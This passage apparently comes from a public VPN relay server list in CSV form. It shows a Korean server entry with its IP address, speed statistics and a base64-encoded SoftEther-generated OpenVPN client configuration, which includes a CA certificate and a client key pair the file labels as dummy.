YvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn589910410,221.147.63.37,555745,31,254763976,Korea Republic of,KR,3,1000,233433,16220770954087,2weeks,DESKTOP-QKAM185's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjEuMTQ3LjYzLjM3IDEyOTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVU